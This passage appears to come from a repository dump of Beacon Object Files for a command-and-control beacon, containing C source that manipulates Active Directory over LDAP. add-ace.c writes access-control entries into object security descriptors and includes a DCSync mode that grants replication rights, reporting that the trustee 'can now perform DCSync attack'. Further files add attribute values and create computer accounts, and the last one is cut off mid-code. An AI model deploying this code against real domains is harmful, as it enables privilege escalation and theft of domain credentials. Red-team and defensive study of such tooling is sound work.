invalue);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_get_option(LDAP* ld, int option, void* outvalue);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_bind_s(LDAP* ld, const PCHAR dn, const PCHAR cred, ULONG method);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_unbind_s(LDAP* ld);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_add_s(LDAP* ld, const PCHAR dn, LDAPModA** attrs);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_modify_s(LDAP* ld, const PCHAR dn, LDAPModA** mods);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_count_values(PCHAR *vals);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_delete_s(LDAP* ld, const PCHAR dn);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_search_s(LDAP* ld, const PCHAR base, ULONG scope, const PCHAR filter, PCHAR* attrs, ULONG attrsonly, LDAPMessage** res);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_search_ext_s(LDAP* ld, const PCHAR base, ULONG scope, const PCHAR filter, PCHAR* attrs, ULONG attrsonly, PLDAPControlA* ServerControls, PLDAPControlA* ClientControls, struct l_timeval* timeout, ULONG SizeLimit, LDAPMessage** res);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_create_page_control(LDAP* ld, ULONG PageSize, struct berval* Cookie, UCHAR IsCritical, PLDAPControlA* Control);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_control_freeA(LDAPControlA* Control);\nDECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_first_entry(LDAP* ld, LDAPMessage* res);\nDECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_next_entry(LDAP* ld, LDAPMessage* entry);\nDECLSPEC_IMPORT PCHAR* WLDAP32$ldap_get_values(LDAP* ld, LDAPMessage* entry, const PCHAR attr);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_value_free(PCHAR* vals);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_msgfree(LDAPMessage* res);\nDECLSPEC_IMPORT PCHAR WLDAP32$ldap_first_attribute(LDAP* ld, LDAPMessage* entry, BerElement** ber);\nDECLSPEC_IMPORT PCHAR WLDAP32$ldap_next_attribute(LDAP* ld, LDAPMessage* entry, BerElement* ber);\nDECLSPEC_IMPORT void WLDAP32$ldap_memfree(PCHAR block);\nDECLSPEC_IMPORT void WLDAP32$ber_free(BerElement* ber, int freebuf);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_count_entries(LDAP* ld, LDAPMessage* res);\nDECLSPEC_IMPORT PCHAR WLDAP32$ldap_err2stringA(ULONG err);\nDECLSPEC_IMPORT struct berval** WLDAP32$ldap_get_values_len(LDAP* ld, LDAPMessage* entry, const PCHAR attr);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_value_free_len(struct berval** vals);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_extended_operation_sA(LDAP* ld, PCHAR Oid, struct berval* Data, PLDAPControlA* ServerControls, PLDAPControlA* ClientControls, PCHAR* ReturnedOid, struct berval** ReturnedData);\n\n// Shared function declarations\nchar* GetDCHostName();\nchar* BuildDefaultNamingContextFromDC(const char* dcHostname);\nLDAP* InitializeLDAPConnection(const char* dcAddress, BOOL useLdaps, char** outDcHostname);\nchar* GetDefaultNamingContext(LDAP* ld, const char* dcHostname);\nchar* FindObjectDN(LDAP* ld, const char* samAccountName, const char* searchBase);\nvoid PrintLdapError(const char* context, ULONG ldapError);\nBERVAL* EncodePassword(const char* password);\nvoid CleanupLDAP(LDAP* ld);\nLDAPControlA* BuildSDFlagsControl(DWORD sdFlags, char* buffer, struct berval* bervalStorage);\n\n// Helper string conversion functions\nchar* WCharToChar(const wchar_t* wstr);\nwchar_t* CharToWChar(const char* str);\n\n#endif // LDAP_COMMON_H"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-ace.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n#include \"acl_common.c\"\n\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t count);\n\n// Structure to hold ACE parameters for adding\ntypedef struct _ACE_TO_ADD {\n    ACCESS_MASK accessMask;\n    BYTE aceType;\n    BYTE aceFlags;\n    GUID* pObjectTypeGuid;\n    GUID* pInheritedObjectTypeGuid;\n} ACE_TO_ADD;\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: \n    // target_identifier, is_target_dn, trustee_identifier, is_trustee_dn, access_mask, ace_type, ace_flags,\n    // object_type_guid (optional), inherited_object_type_guid (optional),\n    // search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* trusteeIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTrusteeDN = BeaconDataInt(&parser);\n    char* accessMaskStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* aceTypeStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* aceFlagsStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* objectTypeGuidStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* inheritedObjectTypeGuidStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    // Validate required parameters\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n    \n    if (!trusteeIdentifier || MSVCRT$strlen(trusteeIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Trustee identifier is required\");\n        return;\n    }\n    \n    if (!accessMaskStr || MSVCRT$strlen(accessMaskStr) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Access mask is required\");\n        return;\n    }\n    \n    \n    // Check if this is a DCSync operation (requires multiple ACEs)\n    BOOL isDCSync = IsDCSyncKeyword(accessMaskStr);\n    \n    // Prepare ACE(s) to add\n    ACE_TO_ADD* acesToAdd = NULL;\n    DWORD aceCount = 0;\n    GUID dcsyncGuid1, dcsyncGuid2;\n    GUID objectTypeGuid, inheritedObjectTypeGuid;\n    \n    if (isDCSync) {\n        // DCSync requires 2 ACEs with different GUIDs\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] DCSync operation detected\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Will add DS-Replication-Get-Changes and DS-Replication-Get-Changes-All\");\n        \n        // Parse the two DCSync GUIDs\n        MSVCRT$memset(&dcsyncGuid1, 0, sizeof(GUID));\n        MSVCRT$memset(&dcsyncGuid2, 0, sizeof(GUID));\n        \n        if (!StringToGuid(GUID_DS_REPLICATION_GET_CHANGES, &dcsyncGuid1) ||\n            !StringToGuid(GUID_DS_REPLICATION_GET_CHANGES_ALL, &dcsyncGuid2)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse DCSync GUIDs\");\n            return;\n        }\n        \n        // Allocate array for 2 ACEs\n        acesToAdd = (ACE_TO_ADD*)MSVCRT$malloc(2 * sizeof(ACE_TO_ADD));\n        if (!acesToAdd) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\");\n            return;\n        }\n        \n        // First ACE: DS-Replication-Get-Changes\n        acesToAdd[0].accessMask = ADS_RIGHT_DS_CONTROL_ACCESS;\n        acesToAdd[0].aceType = ACCESS_ALLOWED_OBJECT_ACE_TYPE;\n        acesToAdd[0].aceFlags = 0;\n        acesToAdd[0].pObjectTypeGuid = &dcsyncGuid1;\n        acesToAdd[0].pInheritedObjectTypeGuid = NULL;\n        \n        // Second ACE: DS-Replication-Get-Changes-All\n        acesToAdd[1].accessMask = ADS_RIGHT_DS_CONTROL_ACCESS;\n        acesToAdd[1].aceType = ACCESS_ALLOWED_OBJECT_ACE_TYPE;\n        acesToAdd[1].aceFlags = 0;\n        acesToAdd[1].pObjectTypeGuid = &dcsyncGuid2;\n        acesToAdd[1].pInheritedObjectTypeGuid = NULL;\n        \n        aceCount = 2;\n        \n    } else {\n        // Single ACE - parse parameters\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Access Mask: %s\", accessMaskStr);\n        \n        ACCESS_MASK accessMask = ParseAccessMask(accessMaskStr);\n        if (accessMask == 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse access mask\");\n            return;\n        }\n        \n        BYTE aceType = ParseAceType(aceTypeStr);\n        BYTE aceFlags = ParseAceFlags(aceFlagsStr);\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Parsed access mask: 0x%08x\", accessMask);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Parsed ACE type: 0x%02x (%s)\", aceType, GetAceTypeString(aceType));\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Parsed ACE flags: 0x%02x\", aceFlags);\n        \n        // Parse GUIDs if provided\n        GUID* pObjectTypeGuid = NULL;\n        GUID* pInheritedObjectTypeGuid = NULL;\n        \n        if (objectTypeGuidStr && MSVCRT$strlen(objectTypeGuidStr) > 0) {\n            MSVCRT$memset(&objectTypeGuid, 0, sizeof(GUID));\n            if (StringToGuid(objectTypeGuidStr, &objectTypeGuid)) {\n                pObjectTypeGuid = &objectTypeGuid;\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Parsed Object Type GUID\");\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse Object Type GUID\");\n                return;\n            }\n        }\n        \n        if (inheritedObjectTypeGuidStr && MSVCRT$strlen(inheritedObjectTypeGuidStr) > 0) {\n            MSVCRT$memset(&inheritedObjectTypeGuid, 0, sizeof(GUID));\n            if (StringToGuid(inheritedObjectTypeGuidStr, &inheritedObjectTypeGuid)) {\n                pInheritedObjectTypeGuid = &inheritedObjectTypeGuid;\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Parsed Inherited Object Type GUID\");\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse Inherited Object Type GUID\");\n                return;\n            }\n        }\n        \n        if (aceTypeStr && MSVCRT$strlen(aceTypeStr) > 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] ACE Type: %s\", aceTypeStr);\n        }\n        if (aceFlagsStr && MSVCRT$strlen(aceFlagsStr) > 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] ACE Flags: %s\", aceFlagsStr);\n        }\n        \n        // Allocate single ACE\n        acesToAdd = (ACE_TO_ADD*)MSVCRT$malloc(sizeof(ACE_TO_ADD));\n        if (!acesToAdd) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\");\n            return;\n        }\n        \n        acesToAdd[0].accessMask = accessMask;\n        acesToAdd[0].aceType = aceType;\n        acesToAdd[0].aceFlags = aceFlags;\n        acesToAdd[0].pObjectTypeGuid = pObjectTypeGuid;\n        acesToAdd[0].pInheritedObjectTypeGuid = pInheritedObjectTypeGuid;\n        \n        aceCount = 1;\n    }\n    \n    // Display optional parameters\n    if (searchOu && MSVCRT$strlen(searchOu) > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Search OU: %s\", searchOu);\n    }\n    if (dcAddress && MSVCRT$strlen(dcAddress) > 0) {\n    }\n    if (useLdaps) {\n    }\n    \n    // Initialize LDAP connection\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Initializing LDAP connection...\");\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        if (acesToAdd) MSVCRT$free(acesToAdd);\n        return;\n    }\n    \n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        if (acesToAdd) MSVCRT$free(acesToAdd);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Variables for cleanup\n    char* targetDN = NULL;\n    char* trusteeDN = NULL;\n    PSID pTrusteeSid = NULL;\n    BERVAL* sdBerval = NULL;\n    PACL pNewDacl = NULL;\n    BERVAL* newSdBerval = NULL;\n    \n    // Resolve target DN\n    if (isDCSync && !isTargetDN && MSVCRT$strlen(targetIdentifier) == 0) {\n        // For DCSync, empty target means domain root\n        size_t len = MSVCRT$strlen(defaultNC) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, defaultNC);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Using domain root: %s\", targetDN);\n        }\n    } else if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            goto cleanup;\n        }\n    }\n    \n    if (!targetDN) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve target DN\");\n        goto cleanup;\n    }\n    \n    // Resolve trustee DN and get SID\n    \n    if (isTrusteeDN) {\n        size_t len = MSVCRT$strlen(trusteeIdentifier) + 1;\n        trusteeDN = (char*)MSVCRT$malloc(len);\n        if (trusteeDN) {\n            MSVCRT$strcpy(trusteeDN, trusteeIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        trusteeDN = FindObjectDN(ld, trusteeIdentifier, searchBase);\n        if (!trusteeDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Trustee '%s' not found\", trusteeIdentifier);\n            goto cleanup;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Resolved trustee DN: %s\", trusteeDN);\n    }\n    \n    // Get trustee's SID\n    pTrusteeSid = GetObjectSid(ld, trusteeDN);\n    if (!pTrusteeSid) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get trustee's objectSid\");\n        goto cleanup;\n    }\n    \n    if (!ADVAPI32$IsValidSid(pTrusteeSid)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Retrieved trustee SID is invalid\");\n        goto cleanup;\n    }\n    \n    char* trusteeSidStr = SidToString(pTrusteeSid);\n    if (trusteeSidStr) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Trustee SID: %s\", trusteeSidStr);\n        MSVCRT$free(trusteeSidStr);\n    }\n    \n    // Read current security descriptor\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Reading security descriptor...\");\n    sdBerval = ReadSecurityDescriptor(ld, targetDN);\n    if (!sdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read security descriptor\");\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Read security descriptor (%d bytes)\", sdBerval->bv_len);\n    \n    // Get current DACL\n    PSECURITY_DESCRIPTOR pSD = (PSECURITY_DESCRIPTOR)sdBerval->bv_val;\n    PACL pOldDacl = NULL;\n    BOOL daclPresent = FALSE;\n    BOOL daclDefaulted = FALSE;\n    \n    if (!ADVAPI32$GetSecurityDescriptorDacl(pSD, &daclPresent, &pOldDacl, &daclDefaulted)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get DACL from security descriptor\");\n        goto cleanup;\n    }\n    \n    if (!daclPresent) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] No DACL present - will create new one\");\n    } else if (pOldDacl) {\n        ACL_SIZE_INFORMATION aclInfo;\n        if (ADVAPI32$GetAclInformation(pOldDacl, &aclInfo, sizeof(aclInfo), AclSizeInformation)) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Current DACL has %d ACE(s)\", aclInfo.AceCount);\n        }\n    }\n    \n    // Add ACE(s) in a loop\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Adding %d ACE(s)...\", aceCount);\n    \n    pNewDacl = pOldDacl; // Start with existing DACL\n    \n    for (DWORD i = 0; i < aceCount; i++) {\n        ACE_TO_ADD* currentAce = &acesToAdd[i];\n        \n        if (isDCSync) {\n            char* guidName = GetGuidFriendlyName(currentAce->pObjectTypeGuid);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Adding ACE %d/%d: %s\", i+1, aceCount, \n                        guidName ? guidName : \"Extended Right\");\n            if (guidName) MSVCRT$free(guidName);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Adding ACE: Access=0x%08x, Type=%s\", \n                        currentAce->accessMask, GetAceTypeString(currentAce->aceType));\n        }\n        \n        // Create new DACL with this ACE\n        PACL pTempDacl = CreateNewDaclWithAce(\n            pNewDacl,\n            pTrusteeSid,\n            currentAce->accessMask,\n            currentAce->aceType,\n            currentAce->aceFlags,\n            currentAce->pObjectTypeGuid,\n            currentAce->pInheritedObjectTypeGuid\n        );\n        \n        if (!pTempDacl) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create DACL with ACE %d\", i+1);\n            // If this isn't the first ACE, free the previous new DACL\n            if (i > 0 && pNewDacl != pOldDacl) {\n                MSVCRT$free(pNewDacl);\n            }\n            goto cleanup;\n        }\n        \n        // Free the previous new DACL if we're not on the first iteration\n        if (i > 0 && pNewDacl != pOldDacl) {\n            MSVCRT$free(pNewDacl);\n        }\n        \n        pNewDacl = pTempDacl;\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] ACE %d/%d added successfully\", i+1, aceCount);\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] All ACEs added to DACL\");\n    \n    // Build new security descriptor\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Building new security descriptor...\");\n    \n    BYTE absoluteSDBuffer[SECURITY_DESCRIPTOR_MIN_LENGTH];\n    PSECURITY_DESCRIPTOR pNewSD = (PSECURITY_DESCRIPTOR)absoluteSDBuffer;\n    \n    if (!ADVAPI32$InitializeSecurityDescriptor(pNewSD, SECURITY_DESCRIPTOR_REVISION)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize security descriptor\");\n        goto cleanup;\n    }\n    \n    // Copy owner and group from original\n    PSID pOwner = NULL;\n    BOOL ownerDefaulted = FALSE;\n    ADVAPI32$GetSecurityDescriptorOwner(pSD, &pOwner, &ownerDefaulted);\n    if (pOwner) {\n        ADVAPI32$SetSecurityDescriptorOwner(pNewSD, pOwner, ownerDefaulted);\n    }\n    \n    PSID pGroup = NULL;\n    BOOL groupDefaulted = FALSE;\n    ADVAPI32$GetSecurityDescriptorGroup(pSD, &pGroup, &groupDefaulted);\n    if (pGroup) {\n        ADVAPI32$SetSecurityDescriptorGroup(pNewSD, pGroup, groupDefaulted);\n    }\n    \n    // Set the new DACL\n    if (!ADVAPI32$SetSecurityDescriptorDacl(pNewSD, TRUE, pNewDacl, FALSE)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set DACL\");\n        goto cleanup;\n    }\n    \n    // Copy SACL if present\n    PACL pSacl = NULL;\n    BOOL saclPresent = FALSE;\n    BOOL saclDefaulted = FALSE;\n    if (ADVAPI32$GetSecurityDescriptorSacl(pSD, &saclPresent, &pSacl, &saclDefaulted)) {\n        if (saclPresent) {\n            ADVAPI32$SetSecurityDescriptorSacl(pNewSD, TRUE, pSacl, saclDefaulted);\n        }\n    }\n    \n    // Convert to self-relative format for LDAP\n    newSdBerval = ConvertSecurityDescriptorToBerval(pNewSD);\n    if (!newSdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor\");\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Security descriptor ready (%d bytes)\", newSdBerval->bv_len);\n    \n    // Write back to LDAP\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Writing modified security descriptor...\");\n    BOOL writeSuccess = WriteSecurityDescriptor(ld, targetDN, newSdBerval);\n    \n    if (writeSuccess) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] SUCCESS: ACE(s) added successfully!\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Added: %d ACE(s)\", aceCount);\n        \n        if (isDCSync) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] DCSync rights granted, Trustee can now perform DCSync attack\");\n        }\n        \n        // Verify\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Verifying changes...\");\n        BERVAL* verifyBerval = ReadSecurityDescriptor(ld, targetDN);\n        if (verifyBerval) {\n            PSD_INFO verifyInfo = ParseSecurityDescriptor((BYTE*)verifyBerval->bv_val, \n                                                          verifyBerval->bv_len);\n            if (verifyInfo) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Verification: DACL now has %d ACE(s)\", \n                            verifyInfo->DaclAceCount);\n                FreeSecurityDescriptorInfo(verifyInfo);\n            }\n            MSVCRT$free(verifyBerval->bv_val);\n            MSVCRT$free(verifyBerval);\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"\\n[-] FAILED to add ACE(s)\");\n    }\n\ncleanup:\n    // Free all allocated resources\n    if (newSdBerval) {\n        if (newSdBerval->bv_val) MSVCRT$free(newSdBerval->bv_val);\n        MSVCRT$free(newSdBerval);\n    }\n    if (pNewDacl && pNewDacl != pOldDacl) MSVCRT$free(pNewDacl);\n    if (sdBerval) {\n        if (sdBerval->bv_val) MSVCRT$free(sdBerval->bv_val);\n        MSVCRT$free(sdBerval);\n    }\n    if (pTrusteeSid) MSVCRT$free(pTrusteeSid);\n    if (trusteeDN) MSVCRT$free(trusteeDN);\n    if (targetDN) MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (acesToAdd) MSVCRT$free(acesToAdd);\n    CleanupLDAP(ld);\n    \n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-attribute.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, attribute, value, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* attribute = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* value = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!attribute || MSVCRT$strlen(attribute) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Attribute name is required\");\n        return;\n    }\n\n    if (!value || MSVCRT$strlen(value) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Value is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Add attribute value\n    char* attr_values[] = { value, NULL };\n    LDAPModA attr_mod;\n    attr_mod.mod_op = LDAP_MOD_ADD;\n    attr_mod.mod_type = attribute;\n    attr_mod.mod_vals.modv_strvals = attr_values;\n\n    LDAPModA* mods[] = { &attr_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully added value to '%s'\", attribute);\n    } else if (result == LDAP_ATTRIBUTE_OR_VALUE_EXISTS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Value already exists for attribute '%s'\", attribute);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add attribute value\");\n        PrintLdapError(\"Add attribute\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-computer.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: computername_or_dn, password, ou_path, dc_address, disabled, use_ldaps\n    char* computerIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isComputerDN = BeaconDataInt(&parser);\n    char* password = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* ouPath = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int disabled = BeaconDataInt(&parser);\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!computerIdentifier || MSVCRT$strlen(computerIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Computer name or DN is required\");\n        return;\n    }\n    \n    // Force LDAPS if password is provided\n    BOOL requireLdaps = (password && MSVCRT$strlen(password) > 0) || useLdaps;\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context - will build from hostname if possible\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Extract domain name from defaultNC for SPNs and dnsHostName\n    char domainName[256] = {0};\n    char* dcPtr = defaultNC;\n    int domainPos = 0;\n    int firstDC = 1;\n    \n    while (*dcPtr && domainPos < 255) {\n        if (dcPtr[0] == 'D' && dcPtr[1] == 'C' && dcPtr[2] == '=') {\n            dcPtr += 3;\n            if (!firstDC) domainName[domainPos++] = '.';\n            firstDC = 0;\n            while (*dcPtr && *dcPtr != ',' && domainPos < 255) {\n                char ch = *dcPtr;\n                if (ch >= 'A' && ch <= 'Z') ch += 32; // lowercase\n                domainName[domainPos++] = ch;\n                dcPtr++;\n            }\n        } else {\n            dcPtr++;\n        }\n    }\n    domainName[domainPos] = '\\0';\n    \n    // Build computer DN and extract computername\n    char computerDN[512];\n    char computername[256];\n    \n    if (isComputerDN) {\n        // Use provided DN directly\n        MSVCRT$_snprintf(computerDN, sizeof(computerDN), \"%s\", computerIdentifier);\n        \n        // Extract CN from DN for sAMAccountName\n        char* cnStart = MSVCRT$strstr(computerIdentifier, \"CN=\");\n        if (cnStart) {\n            cnStart += 3; // Skip \"CN=\"\n            char* cnEnd = MSVCRT$strstr(cnStart, \",\");\n            if (cnEnd) {\n                int cnLen = cnEnd - cnStart;\n                if (cnLen > 0 && cnLen < 256) {\n                    MSVCRT$memcpy(computername, cnStart, cnLen);\n                    computername[cnLen] = '\\0';\n                } else {\n                    MSVCRT$strcpy(computername, cnStart);\n                }\n            } else {\n                MSVCRT$strcpy(computername, cnStart);\n            }\n        } else {\n            // Fallback: use the entire identifier as computername\n            MSVCRT$strcpy(computername, computerIdentifier);\n        }\n    } else {\n        // Build DN using provided OU path or default Computers container\n        MSVCRT$strcpy(computername, computerIdentifier);\n        \n        if (ouPath && MSVCRT$strlen(ouPath) > 0) {\n            // Use provided OU path\n            MSVCRT$_snprintf(computerDN, sizeof(computerDN), \"CN=%s,%s\", computername, ouPath);\n        } else {\n            // Use default Computers container\n            